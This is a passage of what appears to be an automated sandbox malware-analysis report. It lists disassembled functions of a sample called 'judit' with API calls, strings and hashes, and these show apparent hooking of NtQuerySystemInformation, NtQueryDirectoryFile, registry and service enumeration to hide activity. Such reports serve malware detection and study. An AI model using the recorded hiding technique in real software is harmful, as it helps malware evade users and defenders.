Part of subcall function 000001DD940C2F04: HeapAlloc.KERNEL32 ref: 000001DD940C2F3A
Part of subcall function 000001DD940C2F04: StrCmpNIW.SHLWAPI ref: 000001DD940C2FAF
Part of subcall function 000001DD940C2F04: GetProcessHeap.KERNEL32 ref: 000001DD940C3015
Part of subcall function 000001DD940C2F04: HeapFree.KERNEL32 ref: 000001DD940C3023

Strings

S, xrefs: 000001DD940C21E7
dialer, xrefs: 000001DD940C20BF

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: S$dialer
API String ID: 756756679-3873981283
Opcode ID: 10a6181ad89868b013f95f8d430f86fb0b73c76b57149a1256a42c526e771eaa
Instruction ID: ddc3f586d8233085df54977a4c50fa5eefbbefdb9293e3d371ed936c60edffa4
Opcode Fuzzy Hash: 10a6181ad89868b013f95f8d430f86fb0b73c76b57149a1256a42c526e771eaa
Instruction Fuzzy Hash: 6E51DC32F90624D2EB69EB61FA606ED23A5F754799F14841ADF0D12FC6DB36C891C308

Function 000001DD940C27FC Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0185a08247f70f65e171097ef193af1ec7c797a8df345bba98632a27a4a0fbef
Instruction ID: d1cddb90239bf5c8cb92a7caf656eadfc908ccb0ee7ab1155aad7049f4598993
Opcode Fuzzy Hash: 0185a08247f70f65e171097ef193af1ec7c797a8df345bba98632a27a4a0fbef
Instruction Fuzzy Hash: 2321F036A10741C2E328EF16F96066AB7A4F384B88F94002EDE9D43B91DF35C84A8708

Function 000001DD940C28C8 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35d1efe4857f8844a1db8c4c8ed7dc734db620b0767d36ab5b03d26aefcb1554
Instruction ID: acd8cd6166d2e784ec97655e252d3375ae192e77b1dc5ddd16a3e1869f761e03
Opcode Fuzzy Hash: 35d1efe4857f8844a1db8c4c8ed7dc734db620b0767d36ab5b03d26aefcb1554
Instruction Fuzzy Hash: 8D21DF36B14741C6E368AF16F9606AEB7A4F384F88F54412ADF9D43B95DF35C8428708

Function 000001DD940C3790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 000001DD940C379E
GetCurrentProcess.KERNEL32 ref: 000001DD940C37CC
VirtualProtectEx.KERNEL32 ref: 000001DD940C37EE
GetCurrentProcess.KERNEL32 ref: 000001DD940C3809
VirtualProtectEx.KERNEL32 ref: 000001DD940C382A

Strings

wr, xrefs: 000001DD940C37FF

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 5e9ea20e4b60b74f7e476d31e0ddf4bec1e0c795fc52025d8ea91ae0be834b71
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: A7118235350741C2EF589B11F5242A96760F788B89F040526DE8D03796EF3EC549C708

Function 000001DD940C5B30 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000001DD940C5B6B
GetThreadContext.KERNEL32 ref: 000001DD940C5CD5

Part of subcall function 000001DD940C5960: GetCurrentThreadId.KERNEL32 ref: 000001DD940C5964

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: aba7c51250b0bd2785b454d2868164715ffdc60c22b63475f1bba81942d6465a
Instruction ID: c429864c9c42ba31427388810ecebc7ae7b597e5259d691404560343b6d2a46d
Opcode Fuzzy Hash: aba7c51250b0bd2785b454d2868164715ffdc60c22b63475f1bba81942d6465a
Instruction Fuzzy Hash: 75D1A936644B98C6DB789B06F5A039A77A0F3C8B89F140217EA8D47BA6CF3DC551DB04

Function 000001DD940C1A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000001DD940C1A60
StrCmpNIW.SHLWAPI ref: 000001DD940C1A7A
lstrlenW.KERNEL32 ref: 000001DD940C1A89
StrCpyW.SHLWAPI ref: 000001DD940C1A9E

Strings

\\?\, xrefs: 000001DD940C1A6E

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: 6bad9548f702886fdf915db0ec1a545d88b5bf3eab650a30ad18c5755c5a8749
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 62F0A432340740C2E7649B20F9A43996760FB4CB8DF844122DA8D4A596DF3DC64DCF08

Function 000001DD940C50D0 Relevance: 7.8, APIs: 5, Instructions: 318
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000001DD940C5156

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: a9eeae0eee8a65d3360f20c0190c6c2044be682fe56af66e10426f66e33a6bd7
Instruction ID: 0e6d43896a8fe0799cbe07c0be2d6aac149e89b14ddf0984491389590c741c24
Opcode Fuzzy Hash: a9eeae0eee8a65d3360f20c0190c6c2044be682fe56af66e10426f66e33a6bd7
Instruction Fuzzy Hash: 8D020A36659B80C6E768DB55F5A039AB7B0F3C4789F100016EA8E87BA9DF7DC484CB04

Function 000001DD940C39E0 Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 000001DD940C3A66
VirtualAlloc.KERNEL32 ref: 000001DD940C3AA0

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: Virtual$AllocQuery
String ID:
API String ID: 31662377-0
Opcode ID: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction ID: a13ea8b52c7c3e688c0b0f29abc83b8c419cef31a7a24ceb2344bfb7614918bd
Opcode Fuzzy Hash: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction Fuzzy Hash: D631F432269A84C1EB78EA15F16639E6790F3887C9F100516E5CD47BEADF7EC5508B08

Function 000001DD940C328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000001DD940C32AE
PathFindFileNameW.SHLWAPI ref: 000001DD940C32BD

Part of subcall function 000001DD940C3844: StrCmpNIW.SHLWAPI ref: 000001DD940C385C

Part of subcall function 000001DD940C3790: GetModuleHandleW.KERNEL32 ref: 000001DD940C379E
Part of subcall function 000001DD940C3790: GetCurrentProcess.KERNEL32 ref: 000001DD940C37CC
Part of subcall function 000001DD940C3790: VirtualProtectEx.KERNEL32 ref: 000001DD940C37EE
Part of subcall function 000001DD940C3790: GetCurrentProcess.KERNEL32 ref: 000001DD940C3809
Part of subcall function 000001DD940C3790: VirtualProtectEx.KERNEL32 ref: 000001DD940C382A

CreateThread.KERNEL32 ref: 000001DD940C330B

Part of subcall function 000001DD940C1D14: GetCurrentThread.KERNEL32 ref: 000001DD940C1D1F

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: a2c40140bb50336dba8cf30be334033c44a2f3771e8b37bd3e99c8374ac22238
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: 741165706A4741C2F76CB721FA367DB2394A75434EF50412B994E865D3EF7BC0588748

Function 000001DD940C4DF0 Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 000001DD940C4DF4
VirtualProtect.KERNEL32 ref: 000001DD940C4E37
FlushInstructionCache.KERNEL32 ref: 000001DD940C4E4C

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: CacheCurrentFlushInstructionProcessProtectVirtual
String ID:
API String ID: 3733156554-0
Opcode ID: efc513032ac2f8104d68ff6d1779eae6f51007478eb3e1ac0120cc0a77f626c8
Instruction ID: 5cd4d47ebe83fc0e06e8cb2817294c45c47d7b0636792816ba2d5dc6eb8247d1
Opcode Fuzzy Hash: efc513032ac2f8104d68ff6d1779eae6f51007478eb3e1ac0120cc0a77f626c8
Instruction Fuzzy Hash: EDF0D036258B04C1D734EF05F56179AABA0F3887D9F144116FA8D47BAACB3EC5908B44

Function 000001DD940C1ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000001DD940C1628: GetProcessHeap.KERNEL32 ref: 000001DD940C1633
Part of subcall function 000001DD940C1628: HeapAlloc.KERNEL32 ref: 000001DD940C1642
Part of subcall function 000001DD940C1628: RegOpenKeyExW.ADVAPI32 ref: 000001DD940C16B2
Part of subcall function 000001DD940C1628: RegOpenKeyExW.ADVAPI32 ref: 000001DD940C16DF
Part of subcall function 000001DD940C1628: RegCloseKey.ADVAPI32 ref: 000001DD940C16F9
Part of subcall function 000001DD940C1628: RegOpenKeyExW.ADVAPI32 ref: 000001DD940C1719
Part of subcall function 000001DD940C1628: RegCloseKey.ADVAPI32 ref: 000001DD940C1734
Part of subcall function 000001DD940C1628: RegOpenKeyExW.ADVAPI32 ref: 000001DD940C1754
Part of subcall function 000001DD940C1628: RegCloseKey.ADVAPI32 ref: 000001DD940C176F
Part of subcall function 000001DD940C1628: RegOpenKeyExW.ADVAPI32 ref: 000001DD940C178F
Part of subcall function 000001DD940C1628: RegCloseKey.ADVAPI32 ref: 000001DD940C17AA
Part of subcall function 000001DD940C1628: RegOpenKeyExW.ADVAPI32 ref: 000001DD940C17CA

Sleep.KERNEL32 ref: 000001DD940C1AD7
SleepEx.KERNEL32 ref: 000001DD940C1ADD

Part of subcall function 000001DD940C1628: RegCloseKey.ADVAPI32 ref: 000001DD940C17E5
Part of subcall function 000001DD940C1628: RegOpenKeyExW.ADVAPI32 ref: 000001DD940C1805
Part of subcall function 000001DD940C1628: RegCloseKey.ADVAPI32 ref: 000001DD940C1820
Part of subcall function 000001DD940C1628: RegOpenKeyExW.ADVAPI32 ref: 000001DD940C1840
Part of subcall function 000001DD940C1628: RegCloseKey.ADVAPI32 ref: 000001DD940C185B
Part of subcall function 000001DD940C1628: RegOpenKeyExW.ADVAPI32 ref: 000001DD940C187B
Part of subcall function 000001DD940C1628: RegCloseKey.ADVAPI32 ref: 000001DD940C1896
Part of subcall function 000001DD940C1628: RegCloseKey.ADVAPI32 ref: 000001DD940C18A0

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: c208ab783bdb96a742735d17c43730c72592897ec92c299899a6be44c8bdf647
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 63314675280605C1FF58BB22F7603E953A4AB44BDAF0854238E0D8B3D7FE22C461CA18

Function 000001DD940C3844 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 000001DD940C385C

Strings

dialer, xrefs: 000001DD940C3855

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID:
String ID: dialer
API String ID: 0-3528709123
Opcode ID: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction ID: d011964b89ce85d50894d519518233f2166c6120e45fef62c62f95e4d7398023
Opcode Fuzzy Hash: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction Fuzzy Hash: C6D0A5703B1305C7FF1CDF96E4E67D41360DB0474DF485121FD0402191D725894D9B14

Function 000001DD9409273C Relevance: 1.4, APIs: 1, Instructions: 187
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 000001DD940927DB

Memory Dump Source

Source File: 0000000C.00000002.2558413645.000001DD94090000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001DD94090000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd94090000_judit.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 75b70e7527d3ca802b7517d1343639c442baf15c19d29193b5d285c4e22b8273
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 4661F132B4269087DB5CCF15F0207ADB3A2F754BA8F58892EDE5D0778ADA39D852C704

Function 000001DD940CD6CC Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 000001DD940CD721

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: dd9fd347fe8d251c64e9f03e0b9c8ce045e185238ab486bcf6df9ff2ab176017
Instruction ID: 503e2081a782ada82a183565f3438d399474fcb220e5586953a1c5f90e6f082e
Opcode Fuzzy Hash: dd9fd347fe8d251c64e9f03e0b9c8ce045e185238ab486bcf6df9ff2ab176017
Instruction Fuzzy Hash: E8F06D783E1200C1FE6C77A1F6317E513905F88B89F0C56374D0E866C3EE2EC4858628

Function 00007FF7101410F6 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2560074771.00007FF710141000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF710140000, based on PE: true

Associated: 0000000C.00000002.2560033673.00007FF710140000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2560128246.00007FF71015C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2560169413.00007FF71015D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2560215715.00007FF710161000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2560263857.00007FF710163000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2560263857.00007FF710165000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2560263857.00007FF71016F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2560263857.00007FF710175000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2560478247.00007FF710178000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2560478247.00007FF710B78000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff710140000_judit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1420222fa39d3f0069151103a7a51c8f9e392b882314c16014db4f944d337cdb
Instruction ID: 5b2e62f97fc3599e2cc407f2220a74c092e220e9ffcd6b3fa32a98870949f2aa
Opcode Fuzzy Hash: 1420222fa39d3f0069151103a7a51c8f9e392b882314c16014db4f944d337cdb
Instruction Fuzzy Hash: 1DC04C75A14A46DDF7007F75D8452AC77746B00B54F944430DA080BBA2DB7DB54A6A60

Non-executed Functions

Function 000001DD940C7D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000001DD940C7DAC
RtlCaptureContext.NTDLL ref: 000001DD940C7DD9
RtlLookupFunctionEntry.NTDLL ref: 000001DD940C7DF3
RtlVirtualUnwind.NTDLL ref: 000001DD940C7E34
IsDebuggerPresent.KERNEL32 ref: 000001DD940C7E88
SetUnhandledExceptionFilter.KERNEL32 ref: 000001DD940C7EA9
UnhandledExceptionFilter.KERNEL32 ref: 000001DD940C7EB4

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: aadb6562aa436ed109416f1a573bd9b0da0e09efd694ebea475d34054c0c96fb
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: A0316F72245B80CAEB649F60F8A03ED7361F784749F44452AEA8D47B95EF39C548C718

Function 000001DD940CD2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000001DD940CD31D
RtlLookupFunctionEntry.NTDLL ref: 000001DD940CD335
RtlVirtualUnwind.NTDLL ref: 000001DD940CD370
IsDebuggerPresent.KERNEL32 ref: 000001DD940CD3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 000001DD940CD3B3
UnhandledExceptionFilter.KERNEL32 ref: 000001DD940CD3BE

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 2332d8d1c0cbb4ef7a2d57c0f51f03af1dc2e961930da46869d85a2110491000
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: B8317F32254F8086EB64DF25F8503EE73A0F789759F500226EA9D43B96DF39C14ACB04

Function 000001DD940C12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120memoryregistrystringCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001DD940C1319
GetProcessHeap.KERNEL32 ref: 000001DD940C1327
HeapAlloc.KERNEL32 ref: 000001DD940C1338
RegEnumValueW.ADVAPI32 ref: 000001DD940C1397

Part of subcall function 000001DD940C152C: StrCmpIW.SHLWAPI ref: 000001DD940C155D

GetProcessHeap.KERNEL32 ref: 000001DD940C13DF
HeapAlloc.KERNEL32 ref: 000001DD940C13ED
GetProcessHeap.KERNEL32 ref: 000001DD940C140A
HeapFree.KERNEL32 ref: 000001DD940C1418
lstrlenW.KERNEL32 ref: 000001DD940C1421
GetProcessHeap.KERNEL32 ref: 000001DD940C142F
HeapAlloc.KERNEL32 ref: 000001DD940C143D
StrCpyW.SHLWAPI ref: 000001DD940C145F
GetProcessHeap.KERNEL32 ref: 000001DD940C1476
HeapFree.KERNEL32 ref: 000001DD940C1484

Strings

d, xrefs: 000001DD940C135A

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: dee1e443475ef2b97e44fbe13de68def978a024f88bc9ef55f0da6c43a8614a9
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: 4D516B36240B84C6EB58DF62F56839A77A1F789F89F044226EA8D0775ADF3DC049CB04

Function 000001DD940C1D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 000001DD940C1D1F

Part of subcall function 000001DD940C1FD4: GetModuleHandleA.KERNEL32 ref: 000001DD940C1FEC
Part of subcall function 000001DD940C1FD4: GetProcAddress.KERNEL32 ref: 000001DD940C1FFD

Part of subcall function 000001DD940C5B30: GetCurrentThreadId.KERNEL32 ref: 000001DD940C5B6B

Strings

NtQueryDirectoryFile, xrefs: 000001DD940C1D7F
NtQueryDirectoryFileEx, xrefs: 000001DD940C1D9C
ntdll.dll, xrefs: 000001DD940C1D2D
NtDeviceIoControlFile, xrefs: 000001DD940C1E56
NtEnumerateKey, xrefs: 000001DD940C1DB9
EnumServicesStatusExW, xrefs: 000001DD940C1E11, 000001DD940C1E32
NtQuerySystemInformation, xrefs: 000001DD940C1D45
NtEnumerateValueKey, xrefs: 000001DD940C1DD6
sechost.dll, xrefs: 000001DD940C1E39
EnumServiceGroupW, xrefs: 000001DD940C1DF0
advapi32.dll, xrefs: 000001DD940C1DF7, 000001DD940C1E18
NtResumeThread, xrefs: 000001DD940C1D62

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 554fcfbc4bccfcc2f94e8e5ca8c17ded15db182d5e5bfbf4a39772b01e100735
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: D931D6785E0A0AE0EA0CFF66F9717E52321BB0039DF805117A44D065B39F7A824ED758

Function 000001DD94096910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001DD94096938
__scrt_acquire_startup_lock.LIBCMT ref: 000001DD9409698A
_RTC_Initialize.LIBCMT ref: 000001DD940969B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001DD940969DE
__scrt_release_startup_lock.LIBCMT ref: 000001DD94096A09

Strings

`eh vector copy constructor iterator', xrefs: 000001DD94096A3B
`eh vector vbase copy constructor iterator', xrefs: 000001DD940969EE
scriptor', xrefs: 000001DD94096B39, 000001DD94096BB2, 000001DD94096BEC
`dynamic initializer for ', xrefs: 000001DD940969C7

Memory Dump Source

Source File: 0000000C.00000002.2558413645.000001DD94090000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001DD94090000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd94090000_judit.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: dcb7b3a1db2828dbcaa039843e97f42a12bc8bc4f4d68e9d94fe4d9141766518
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: EB81D17178424286FA5C9B26F4713D92390AB857CCF548827AA8D47797EF3BC855870C

Function 000001DD940CCE28 Relevance: 18.1, APIs: 12, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000001DD940CCE37
FlsGetValue.KERNEL32(?,?,?,000001DD940D0A6B,?,?,?,000001DD940D045C,?,?,?,000001DD940CC84F), ref: 000001DD940CCE4C
FlsSetValue.KERNEL32(?,?,?,000001DD940D0A6B,?,?,?,000001DD940D045C,?,?,?,000001DD940CC84F), ref: 000001DD940CCE6D
FlsSetValue.KERNEL32(?,?,?,000001DD940D0A6B,?,?,?,000001DD940D045C,?,?,?,000001DD940CC84F), ref: 000001DD940CCE9A
FlsSetValue.KERNEL32(?,?,?,000001DD940D0A6B,?,?,?,000001DD940D045C,?,?,?,000001DD940CC84F), ref: 000001DD940CCEAB
FlsSetValue.KERNEL32(?,?,?,000001DD940D0A6B,?,?,?,000001DD940D045C,?,?,?,000001DD940CC84F), ref: 000001DD940CCEBC
SetLastError.KERNEL32 ref: 000001DD940CCED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000001DD940D0A6B,?,?,?,000001DD940D045C,?,?,?,000001DD940CC84F), ref: 000001DD940CCF0D
FlsSetValue.KERNEL32(?,?,00000001,000001DD940CECCC,?,?,?,?,000001DD940CBF9F,?,?,?,?,?,000001DD940C7AB0), ref: 000001DD940CCF2C

Part of subcall function 000001DD940CD6CC: HeapAlloc.KERNEL32 ref: 000001DD940CD721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001DD940D0A6B,?,?,?,000001DD940D045C,?,?,?,000001DD940CC84F), ref: 000001DD940CCF54

Part of subcall function 000001DD940CD744: HeapFree.KERNEL32 ref: 000001DD940CD75A
Part of subcall function 000001DD940CD744: GetLastError.KERNEL32 ref: 000001DD940CD764

